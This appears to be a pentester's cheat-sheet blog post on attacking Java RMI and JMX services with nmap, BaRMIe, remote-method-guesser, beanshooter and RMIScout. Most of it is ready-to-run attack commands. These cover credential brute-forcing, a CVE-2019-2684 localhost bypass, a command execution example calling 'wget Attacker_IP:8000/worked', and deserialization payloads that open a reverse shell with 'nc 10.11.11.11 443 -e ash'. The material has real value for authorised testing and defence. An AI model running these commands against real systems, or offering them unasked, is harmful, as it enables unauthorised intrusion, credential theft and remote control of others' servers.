RMI can be run on any nonstandard port and when RMI is running you will observer one more endpoint port connected to it (find it from nmap easily by running rmi-dumpregistry )
#jmxrmi bound name and its signatures might be vulnerable to MLetMbean Vuln, where MBean that can be used for loading additional MBeans over the network.
java.lang.String getVersion()
javax.management.remote.rmi.RMIConnection newClient(java.lang.Object arg)
Java RMI Registry - Port 1616
nmap -Pn -sS -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p 1616
BaRMIe
#Download the package from releases
https://github.com/NickstaDB/BaRMIe/releases/tag/v1.01
java -jar BaRMIe.jar -enum 192.168.1.11 5000
java -jar BaRMIe.jar -attack 192.168.1.11 5000
Remote Method Guesser
https://github.com/qtc-de/remote-method-guesser
java -jar rmg-3.0.0-jar-with-dependencies.jar 10.10.10.10 5000 enum
#Look for Vulnerabilities
java -jar rmg.jar enum 10.10.10.10 5000
#Get bound names & available method signatures
java -jar rmg.jar guess 10.10.10.10 5000
#Command Exec - Example
java -jar rmg.jar call 10.10.10.10 5000 "wget Attacker_IP:8000/worked" --signature 'String execute(String cmd)' --bound-name jmxrmi
#Exploit CVE-2019-2684; Try to bind client locally; doesnt work for JMX RMI
java -jar rmg.jar bind 10.10.10.10 5000 10.11.11.11:8080 my-object --localhost-bypass
Beanshooter
#Good for JMX Severs
Source - https://github.com/qtc-de/beanshooter#Serial
#Download package from repo
https://github.com/qtc-de/beanshooter/releases
#Check for auth and possible attr
#If auth is enabled; cannot go further.
java -jar beanshooter.jar info 10.10.10.10 5000
#Enum - Check for vulns (Auth and Pre-auth Deserialization)
java -jar beanshooter.jar enum 10.10.10.10 5000
#Bruteforce creds
java -jar beanshooter.jar brute 10.10.10.10 5000 --username-file /usr/share/wordlists/user.txt --password-file /usr/share/wordlists/pass.txt
#You might require ysoserial.jar, download and copy it to /opt/yso.jar or add an arg "--yso /opt/yso.jar"
#Get a REVERSE SHELL;
java -jar beanshooter.jar serial 10.10.10.10 5000 CommonsCollections6 "nc 10.11.11.11 443 -e ash" --username admin --password admin
#Add --preauth if pre-auth deserialization is enabled
java -jar beanshooter.jar serial 10.10.10.10 5000 --preauth CommonsCollections6 "nc 10.11.11.11 443 -e ash"
#If SSL is enabled
java -jar beanshooter.jar enum --ssl 10.10.10.10 5000
#If Remote MBean server Does not require auth
#This might require tonka; you can find it in beanshooter repo;
https://github.com/qtc-de/beanshooter#deploy
RMIScout
#Download the package
https://github.com/BishopFox/rmiscout/releases
git clone https://github.com/BishopFox/rmiscout.git
#Bruteforce
java -jar rmiscout.jar bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
#Wordlist
java -jar rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Comments
Post a Comment